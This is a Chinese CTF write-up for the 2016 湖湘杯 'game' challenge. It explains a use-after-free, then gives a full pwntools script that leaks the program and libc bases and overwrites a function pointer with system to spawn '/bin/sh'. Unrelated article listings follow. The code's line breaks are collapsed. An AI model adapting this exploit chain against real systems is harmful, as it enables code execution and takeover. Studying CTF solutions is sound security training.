0x00 分析程序

根据分析,我们可以得到以下重要数据结构

0x01 发现漏洞

1.在武器使用次数耗光后,程序会把存储该武器的堆块free,在free的时候没有清空指针,造成悬挂指针

2.comment存储在一个大小和武器块一样的堆块中,我们武器释放后再执行commit函数,那么武器堆块和comment堆块是同一块堆块

0x02 漏洞利用

1.在comment函数中向堆块中写入16字节的ascii码,再利用show_weapon函数把武器数据结构中的attack函数地址泄露出来,由此可以计算得到程序基址

2.利用程序基址计算出printf地址,再将printf函数写到attack函数处,再调用attack函数(相当于调用printf函数)把memset函数地址打印出来,由此可以计算出libc基址

3.得到了libc基址,就可以根据libc.so库算出system_addr,再利用comment将system函数写到attack函数处,在堆块中写入‘/bin/sh’,调用attack函数便可得到shell.

0x03 exp

from pwn import *

t = process('./game')
libc = ELF('./libc.so')
context.log_level = "debug" def warehouse(count):
t.recvuntil('$')
t.sendline('build_warehouse')
t.recvuntil('want have?\n')
t.sendline(str(count)) def buy(name, tid):
t.recvuntil('$')
t.sendline('buy_weapon')
t.recvuntil('buy?\n')
t.sendline(name)
t.recvuntil('weapon?\n')
t.sendline(str(tid)) def show(tid):
t.recvuntil('$')
t.sendline('show_weapon')
t.recvuntil('warehouse\n')
t.sendline(str(tid)) def attack(tid):
t.recvuntil('$')
t.sendline('attack_boss')
t.recvuntil('warehouse\n')
t.sendline(str(tid)) def comment(co_buff):
t.recvuntil('$')
t.sendline('comment')
t.recvuntil('?\n')
t.send(co_buff) def leak_addr(addr,printf_plt):
co_buff = ''
co_buff += '%%%d$s.' % (7)
co_buff = co_buff.ljust(16, '\x00')
co_buff += p32(printf_plt)
co_buff += '\n'
comment(co_buff)
show(0)
t.sendline('attack_boss') t.recvuntil('warehouse\n')
payload = ''
payload += ''* 0x04
payload += p32(addr)
t.sendline(payload)
data = t.recv(4)
back_addr = u32(data[:4])
return back_addr def main():
t.recvuntil('name?\n')
t.sendline('xt')
warehouse(3)
buy('UMP45', 0)
attack(0)
attack(0)
attack(0)
show(0) co_buff = ''
co_buff += 'd' * 0x16 + '\n'
comment(co_buff)
show(0)
t.recvuntil('Weapon name: ')
t.recv(16)
data = t.recvuntil('price:')[:-7] addr = u32(data[:4].ljust(4, '\x00'))
proc_addr = addr - 0x1287
success('proc_addr:' + hex(proc_addr)) memset_got = 0x00002154 + proc_addr
printf_plt = 0x00000710 + proc_addr
memset_addr = leak_addr(memset_got,printf_plt) offset_memset = libc.symbols['memset']
offset_system = libc.symbols['system'] libc_base = memset_addr - offset_memset
system_addr = libc_base + offset_system
success('libc_base:' + hex(libc_base))
success('system_addr:' + hex(system_addr)) co_buff = ""
co_buff += "/bin/sh;"
co_buff = co_buff.ljust(16, '\x00')
co_buff += p32(system_addr)
co_buff += "\n"
comment(co_buff)
t.sendline("attack_boss")
t.recvuntil("warehouse\n")
payload = ""
payload += ""
t.sendline(payload) t.interactive() if __name__ == '__main__':
main()

uaf-湖湘杯2016game_学习的更多相关文章

  1. CTF 湖湘杯 2018 WriteUp (部分)

    湖湘杯 2018 WriteUp (部分),欢迎转载,转载请注明出处! 1.  CodeCheck(WEB) 测试admin ‘ or ‘1’=’1’# ,php报错.点击登录框下面的滚动通知,URL ...

  2. 2017湖湘杯复赛writeup

    2017湖湘杯复赛writeup 队伍名:China H.L.B 队伍同时在打 X-NUCA  和 湖湘杯的比赛,再加上周末周末周末啊,陪女朋友逛街吃饭看电影啊.所以精力有点分散,做出来部分题目,现在 ...

  3. 2019 湖湘杯 Reverse WP

    0x01 arguement 下载链接:https://www.lanzous.com/i7atyhc 1.准备 获取到信息: 32位的文件 upx加密文件 在控制台打开文件 使用"upx ...

  4. 【CTF】2019湖湘杯 miscmisc writeup

    题目来源:2019湖湘杯 题目链接:https://adworld.xctf.org.cn/task/answer?type=misc&number=1&grade=1&id= ...

  5. 2017湖湘杯Writeup

    RE部分 0x01 Re4newer 解题思路: Step1:die打开,发现有upx壳. Step2:脱壳,执行upx -d 文件名即可. Step3:IDA打开,shift+F12看字符串. 点进 ...

  6. Bugku Writeup —文件上传2(湖湘杯)

    我们先来看下题目,题目说明是文件上传 我们可以尝试通过构造payload来进行测试 php://filter/read=convert.base64-encode/resource=flag 获取到f ...

  7. 2018湖湘杯web、misc记录

    1.题目名 Code Check 打开题目,右键发现有id参数的url,简单base64解码以后发现不是明文,说明利用了其他的加密方式,那么应该会有具体的加密方式给我们,于是试试常见的文件泄露,可以发 ...

  8. 湖湘杯2020_ReMe

    查壳后发现是由Python2.7环境下编译得到的exe可执行文件 由此想到可将exe转为pyc文件再反编译成py文件 且该方法只适用于py2 无混淆 因为py3的字节码结构有些许变化 step1: 在 ...

  9. 湖湘杯2020 writeup

    这个平台中间卡的离谱,卡完过后交了flag分还掉了 Web 题目名字不重要 也算是非预期吧,赛后y1ng师傅也说了因为要多端口环境必须这样配,预期解很难 NewWebsite 后台弱口令admin a ...

随机推荐

  1. Bloomberg Desktop Api 关于历史Tick数据的一些参考

    使用WAPI命令可以看到当前BBG的Api情况. 目前2016年3月是V3的版本.其中有一个API Develper's Guide 中有Core Develper Guide的pdf, 里面提到了B ...

  2. uoj#274. 【清华集训2016】温暖会指引我们前行(LCT)

    传送门 不难发现肯定是在温度的最大生成树上走是最优的 于是用\(LCT\)维护最大生成树,每一次加边时如果已经连通,就判断一下路径上的最小温度是否小于当前温度,是的话就断掉那条边,加入新边 //min ...

  3. github的上传本地文档

    自从使用github以来,一直都是在github网站在线上传文件到仓库中,但是有时因为网络或者电脑的原因上传失败.最重要的原因是我习惯本地编辑,完成以后再一起上传github.看过了几个教程,总结出最 ...

  4. UVa10375:选择与除法(唯一分解定理)

    The binomial coefficient C(m,n) is defined as Given four natural numbers p, q, r, and s, compute the th ...

  5. JavaScript特点、优缺点及常用框架

    参考来源:   http://www.cnblogs.com/SanMaoSpace/archive/2013/06/14/3136774.html

  6. Rasheda And The Zeriba Gym - 100283A  计算几何

    http://codeforces.com/gym/100283/problem/A 考虑到多边形是不稳定的,是可以变来变去的. 那么总是可以把每个点放到圆上. 所以只需要判断圆心角是不是小于等于36 ...

  7. SSAS中雪花模型

    上面的[销售事实表]与[门店]维度.[集团]维度就组成了一个雪花模型. 1.可以把[集团]关联到[门店]的维度上去: 2.如果要把[集团]作为一个单独的维度,先在[维度]里把Dim_Group添加进来 ...

  8. CSS浮动float父div没有高度的问题

    如下所示,子元素 div2 本身具有高度和宽度,但由于其具有float:left:属性后.其父元素 div1 不具有高度. <html>    <head>    </h ...

  9. Unity Shader入门精要学习笔记 - 第2章 渲染流水线

    来源作者:candycat   http://blog.csdn.net/candycat1992/article/ 2.1 综述 渲染流水线的最终目的在于生成或者说是渲染一张二维纹理,即我们在电脑屏 ...

  10. 别让CDN的回源把你的服务器拖垮,采用正确的回源策略

    我们有一台服务器提供的服务主要是以动态页面为主,静态页面都是固定的内容平时更新的很少,最近这台服务器的应用升级到了新版本访问量增大了不少,随之的问题就来了,最近每天一到9点负载就超过警戒值,然后负载持 ...